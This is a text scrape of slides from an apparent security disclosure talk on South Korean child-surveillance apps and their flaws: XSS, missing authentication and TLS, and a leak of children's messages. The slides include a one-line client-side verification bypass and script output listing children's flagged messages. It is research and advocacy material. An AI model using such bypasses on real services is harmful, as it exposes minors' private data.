  • 65. Test and dev. snippets everywhere http://220.117.226.129:8082 http:// hikdev.cafe24.com/demo-gcm-server http://ssadm.moiba.or.kr/ <li><a href='/index'>관리자메인</a></li> <li><a href='/subMain'>서브메인메인</a></li> <li><a href='/harm/app/list'>유해정보관리</a> <ul> <li><a href="/harm/app/appList">앱관리</a></li> <li><a href="/harm/site/list">사이트관리</a></li> <li><a href="/harm/accept/acceptList_app">앱/사이트 접 관리</a></li> </ul> </li> <li><a href='/member/admin/memberAdm'>가입자관리</a> <li><a href='/minwon/minwonList'>민원관리</a> <li><a href='/home/report/list'>홈이지</a></li> </ul> <p> <a href='/html/filelist.html'>디자인</a><br/><br/> <a href='/minwon/minwonPushTest'>Push TEST</a><br/><br/> <a href='/minwon/livePushTest'>Live Push TEST</a><br/> <a href="minwon/logPushTest">log Push Test</a></br>
  • 66. Big pile of • XSS • Leaking personal data over the API • No authentication • No Transport Security • Even a SQL injection inside their mobile app for the .db • …. Seriously: https://cure53.de/pentest-report_smartsheriff.pdf https://cure53.de/pentest-report_smartsheriff-2.pdf
  • 67. Citizen Lab publishes the report
  • 70. Some media attention … but reaction was a bit underwhelming
  • 71. „Thanks for the free pentest!“ It kinda backfired…
  • 72. Did we just help improving surveilance software?
  • 73. Citizen Lab publishes updated report
  • 74. MOIBA reacts and pulls the app
  • 75. News about the app removal
  • 77. But something is shady…
  • 79. Find the difference! 사이버안심존
 (Cyber Safety Zone) 스마트보안관 (Smart Sheriff)
  • 82. Web Interface – Cyber Safety Zone
  • 83. Web Interface – Cyber Safety Zone
  • 84. Smart Sheriff / Cyber Safety Zone • MOIBA didn‘t deprecate the API • MOIBA renamed the app • MOIBA is trying to hide the issues But what is up with Smart Dream?
  • 85. The new MOIBA – Login for Parents Smart Sheriff / Cyber Safety Zone Smart Dream
  • 86. Smart Dream Nightmare Parent Child • Parent-Mode: Check messages and searches containing dangerous words • Child-Mode: Monitoring SMS/KakaoTalk and google searches. installs as accessibility service
  • 87. • Very clever solution - request accessibility permissions • Abusing functionality intended for text2speech, … How do they read KakaoTalk?
  • 88. Web Interface – Smart Dream
  • 89. Smart Dream Nightmare Parent App monitoring SMS Parent Web Backend
  • 90. Smart Dream Nightmare XSS via SMS/KakaoTalk messages (no authentication)… and no SSL?
  • 91. Register an account Korean number needed. And wait for verification SMS… Or simply change forms.auth_ok.value = "1"
  • 92. Register an account Fixed!?... you can still register via the App Korean number needed. And wait for verification SMS… Or simply change forms.auth_ok.value = "1"
  • 93. +700k Messages from +55k Children root@redstar-os $ python nightmare.py ### Messages from Child: From: ".인터넷" (5) 1. [KakaoTalk] (violence/gang up): "투명성성인기회" 2. [KakaoTalk] (blackmail/money): "깡패?" 3. [KakaoTalk] (violence/맞다): "한!!국교!!„ 4. [KakaoTalk] (blackmail/빌려달라): "보안어린이개방성사랑정?" 5. [KakaoTalk] (threat/kill): "성인성인괴상한해킹비밀한국성인강남스타일모바일„ 
 From: ".사이버억압♡" (2) 1. [KakaoTalk] (rant/crazy girl acting as child): "투명♥♥" 2. [KakaoTalk] (abuse/fuck it): "비 밀사 이버비?밀번역 조 화정부 기 회개인 성 인 어린이정 ..." 
 From: "010XXXXXXXX" (3) 1. [SMS] (harass/desperate): "어린이강남스?타일인터넷" 2. [SMS] (harass/): "깡패구글괴상한" 3. [SMS] (harass/desperate): "부패교육감?" 
 From: ".사이버투♥" (3) 1. [KakaoTalk] (threat/kill): "해킹 평등" 2. [KakaoTalk] (harass/desperate): "자 기 검열보?" 3. [KakaoTalk] (violence/gang up): "강남스타일!!!"
  • 95. The Most Offensive Slide :O The 1086 "harmful" words that are monitored by smart dream
  • 96. The Most Offensive Slide :O The 1086 "harmful" words that are monitored by smart dream Example words: divorce, single parent, remarriage, adoption, earn money, multiculturalism, menstruation, breast, stress, I hate …, girlfriend, boyfriend, break up, dating, lie, beer, person/friend/guy/girl I like, r-rated, sex, discrimination, black history, going to school, borrow, sarcasm, fanboy, gangster, disability, reporting to police, …
  • 97. MOIBA‘s guide to fixing vulns Lack of Authentication Important parameters will be encrypted with AES256 Hardcoded API key 1. Put API key into NDK binaries 2. Each user get‘s own key XSS with messages Before sending SMS message, escape and replace special chars
  • 98. Another big pile of • XSS • No SSL • Lack of Authentication and Authorization • Accessing stored messages and searches • …
  • 99. But what about the other apps?
  • 100. But what about the other apps?
  • 101. We love you too, Plantynet DamnYouHackerwHAt1syoUrBENefitwhEnDeComPil2Th1saPpplEas2DOnOtd1sTurbUs “Damn You Hacker what is your benefit when decompile this app please dont disturb us” Found as a string inside a Java class:
  • 102. ... guess why they don‘t want people looking
  • 104. SKT Corperation • Encrypted/obfuscated application
 implemented via native library
  • 105. Defeat Obfuscation – Lame Strategy • Encrypted/obfuscated application
 implemented via native library
  • 106. • Jeff from CitizenLab 
 reverse engineered the binary • AES key unwrapping (RFC 3394) • PBKDF2 HMAC • AES ECB Defeat Obfuscation – Cool Strategy
  • 107. SKTelecom - Issues • No HTTPS • XSS
  • 108. • Take a step back • Imagine these apps were magically 100% secure • Would you trust any company or government... • ... to have a database with all that information? • Phone usage statistics (times, apps) • SMS/IM Messages • Knowing family associations • Names and birthdays A note for reflexion
  • 109. What is happening next? • The Korean government proposed a new bill to make opt-out possible • OpenNet Korea submitted a constitutional complaint about the law
 ! final decision in 2-3 years • Should there be regulations for parental/child-protection apps?
 ! eg. no cloud service, only local
  • 110. Reports • [20 September 2015] Are the Kids Alright? Digital Risks to Minors from South Korea’s Smart Sheriff Application - https://citizenlab.org/2015/09/digital-risks-south-korea- smart-sheriff/ • [1 November 2015] The Kids are Still at Risk: Update to Citizen Lab’s “Are the Kids Alright?” Smart Sheriff report - https://citizenlab.org/2015/11/smart-sheriff-update/ • [21 September 2015] Submission to the 113th Session of the UN Human Rights Committee for Fourth Periodic Report of the Republic of Korea - 
 http://opennetkorea.org/en/wp/wp-content/uploads/ 2016/03/INT_CCPR__KOR_OPEN_NETSmart-Sheriff.pdf
  • 111. Some News Articles • [19 May 2015] Don’t text ‘beer’ in Korea: Words that trigger teen alerts - http://www.japantimes.co.jp/ news/2015/05/19/asia-pacific/dont-text-beer-korea- words-trigger-teen-alerts/ • [16 June 2015] South Korea provokes teenage smartphone privacy row - http://www.bbc.com/news/ technology-33091990 • [21 September 2015] Smart Sheriff child surveillance app leaves South Korean kids vulnerable to hackers - http://www.cbc.ca/news/technology/smart- sheriff-1.3236682
  • 112. 
 Abraham Aranguren (@7a_) - [email protected] 
 Fabian Fäßler (@samuirai) - [email protected] Reports: https://cure53.de/#publications Questions/Comments/Discussion